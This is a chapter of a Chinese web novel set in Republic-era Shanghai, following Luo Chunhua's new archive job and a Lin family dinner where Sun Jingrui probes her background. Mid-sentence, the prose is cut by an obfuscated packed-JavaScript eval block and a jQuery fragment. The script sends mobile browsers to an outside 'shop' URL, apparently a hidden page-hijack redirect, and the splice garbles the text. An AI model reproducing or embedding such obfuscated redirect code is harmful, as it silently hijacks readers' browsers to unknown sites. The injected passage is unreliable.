4. 第 4 章
作品:《民国打工记》 罗春花回到周姐那里,天已黑的彻底了,天气越发的冷,她冻着直跺脚,周姐连忙给她盛了碗热汤。连问怎么样。
李秉衡一遍坐在矮凳上,一边回复:一个月20元,工作就是陪档案室另一个娇小姐玩。
“还有这样的好事?”
李秉衡点头,“也是巧了,不过,这娇小姐也呆不久。”
“那娇小姐走了之后,皎皎怎么办呀。”
“再说吧,春华要是干的不错,或许后面就留下来了。”
这边,罗春花把碗里的汤唏嘘着喝完,“我有信心留下来,财务知识我可能不懂,但是我会算账。我今天看了下档案室里的文件,十之八九就是数据计算整理,我觉得不难。”
李秉衡嗤笑了一声表示不相信。
罗春花气鼓鼓的:“您就请好了吧。”
说到这里,李秉衡又生气了。
“你个山东人,说什么北平话。”转头又问周姐,“周姐,她是山东人,你怎么也不告诉我。”
周姐尴尬的笑了笑,“我以为侬晓得啦。”
“谁说山东人不能说北平话了,你这人好不讲道理,自己乱下定论,还怪周姐。”
李秉衡哼了一声,转头上楼。“唯女子与小人难养也。”
罗春花也哼了一声,“君子不与小人斗!”
那边,孙景瑞送林莹到家时,天色已黑,家里人都在等着林莹。
从小看顾林莹的奶妈看到孙景瑞的车进了大门,连忙回头;“老爷,太太,小姐回来了。”
林太太听闻也吩咐开饭了。
林老爷抖了抖了手上的报纸,折起来,起身去迎接孙景瑞。
“怎么今天回来的这么晚?”
“也是不巧,下班晚了会,就碰上街上游行的学生了。”
林老爷听闻,叹了口气。“一起吃饭吧。”
“不了,我回去吃。”
林太太从饭厅走了过来。
“我已经给阿月打过电话了,就留下来吧,估计你回去阿月也没有留饭。”
林莹这时也打起精神来,“孙叔叔,你留下来吧,现在回去,万一又碰上警备司令部那群人,又是麻烦。”
“你们还遇到警备司令部的人了?”
孙景瑞点点头,陪着林老爷一起走进饭厅,一边说路上的事。就听见林太太在后面一个劲问林莹,有没有吓到。
“阿珏呢?”
餐桌上,孙景瑞看着一个空位问道,“还没回来?”
林老爷点点头,“去天津还没回来呢。正好他回北平交接工作,我让他顺便回天津打理一下家里的事。”
林珏,林家的老大,前年清华毕业后,留校任职,今年林家举家搬迁至上海,因不舍清华的同事和同学,磨蹭着不肯辞职,最终拖拉了半年,终于决定随家迁至上海。
北平正值学生游行,时局只怕比上海更紧张,政府只知道镇压学生。林太太听闻又担心起来林珏。
“只怕哥哥也不是回学校交接,而是去街上游行了。”
林太太此时更是连饭都吃不下了,林老爷嫌弃林莹说话没数,皱着眉头。“瞎说什么。”
林莹看着都快掉眼泪的妈妈,也不敢赌气瞎说什么。“也对,我就是生气才瞎说的,再说哥哥要是有什么事,大妈也会给我们发电报的。”
这下子,连林老爷也吃不下饭了。把筷子重重的的放在桌子上,起身离开了。
林太太眼泪止住了,斜了一眼林莹。“你又不是不知道你爸爸不喜欢听你大妈的事,你这嘴呀!”
林莹嘟囔着“这也不让我说,那也不让我说,我就合该呆在那个小监狱里。”
孙景瑞把嘴里的饭咽了下去,插嘴道:“要说那是小监狱,那绝对是顶配了,吃的,喝的都有,还有个漂亮姑娘给你作伴,说出去多少人羡慕你呢。”
又转头劝慰林太太,“嫂子,北平说是不太平,但这时局,要有谁真镇压那群学生,那可就是遭唾沫星子的了,阿珏就算真去了游行,也没什么事,临近过年了,再怎么说,也该回来过年了。”
林太太信任孙景瑞,听到此话也放下心来,转头又关心起女儿。
林莹也确实和罗春花玩的来,说了上句,罗春花就能接下句,可比这儿的名媛小姐们有意思多了。
林太太也开心女儿有了玩伴,便劝女儿呆在财政局安心工作,不要老想着抗日和参加游行了。
林莹嘟着嘴,听到林太太要邀请罗春花来家里玩,才继续说起罗春花来。
孙景瑞在一旁听了会,直到林莹换了话题才起身离开,去找林老爷。
林老爷在书房生闷气,看见孙景瑞走进来,“女人说话有什么意思,这么久才来找我。”
“有意思的紧呢。”孙景瑞笑了一声,伸手把门关上。
林老爷虽说是年中才搬家过来,但算是举家搬迁,书房里的书整整占了三面墙,书柜足有3米高。孙景瑞一边和林老爷说着闲话,一边打量书架上的书。时不时的抽出一本,放在旁边。
林老爷这番思考天津有无听过的人家对得上那个罗春花的家世,刚想起一点,就见孙景瑞已经抽出一摞书了。连忙制止。“我这可都是宝贝,怎么能让你囫囵吞枣!读完一本再来换一本。”
孙景瑞本还想趁着林老爷脑子里想事的时候,偷偷带走呢,想来又是不成。只能笑着缩减了几本。
“你是想起来什么了?”
“我也只是大概猜到了,只不过也有可能不对。”
孙景瑞狐疑的看过去。
“姓罗,又说着一口京片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053440|194852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,且还会说天津话,且我还不怎么熟悉的人家,也就旗人了。”
孙景瑞点点头,“我一开始也以为,但是又说是山东的。这又是一出入。”
林老爷点头,“这也是我不敢确认的,不过山东也不是没有旗人的,世道这么乱,总有那么几支,就说那谁家,不至今还呆在山东?且另一个就是性子了。汉人家的姑娘少见的很,”
孙景瑞想起什么来,笑着附议。“这性子确实是霸气的很,颇有那姑奶奶的气势。”
林老爷不知道这其中发生了什么事,看着笑的不可自拔的孙景瑞,有些好奇。
“就一小姑娘,还值得你这般调查。要不要我派人回天津打听一番。”
孙景瑞连连摆手,终于止住了笑意。“倒也不是我想调查,只不过突然来了一个不知底细的人,总想着明白透了。”
林老爷叹了口气,“我是不赖烦管这些事,所以还是清闲好啊。”
孙景瑞不多说了,这又牵扯到上头了,不好多说什么。
林老爷想到这倒是有些生气,“国难当头,还一心想着内斗,他也不想想杀了多少自己人。”
孙景瑞沉默不语。
林老爷也知道自己说多了,坐在椅子上喘气。他年少离家学习,后回到老家,因为家中包办婚姻,选择北上,一心报国,后自北平辞职后,回天津,还没过几天安生日子,又因为华北乱起来,举家搬迁至上海,半生漂泊,国破家不安,实在可气,可恨!
北平乱了起来,南京当局者却还抱着襄安的想法,上海和南京还是一派歌舞升平的样子,也不怪北下的人生气。
孙景瑞辞了林老爷,抱着一摞书回家,已是深夜。楼上的灯还亮着,他打开公寓的门,果然人还没睡。
“这么晚了,还没睡?”
“睡不着,感觉心里不安的慌。”
孙景瑞放下怀里的书,“你看到游行了?”
阿月摇头,嗤笑了一声,“这地段安静的很,我是听隔壁王太太说的,吓人的很,还流血了呢。”
孙景瑞没有说话。
“这群人,也就这个时候耍枪了。”
孙景瑞点点头,又问道:“你今天出门了吗?”
阿月摇头,“和一群富太太们打麻将呢,真是云雾缭绕的。”
孙景瑞笑了,“委屈你了。”
“是呀,侬晓得伐!”阿月作怪,学起隔壁王太太的样子,说起不地道的上海话,引起孙景瑞发笑。
笑过之后,又是一室寂寥,“回去睡吧,想的太多,也于事无补。”
阿月点点头,“我只恨······”话没说全,但是孙景瑞明白她的意思,低声说道,“谁不是呢,我是,你是,他亦是。”
夜渐渐深了,屋里的灯亮了,又灭了。

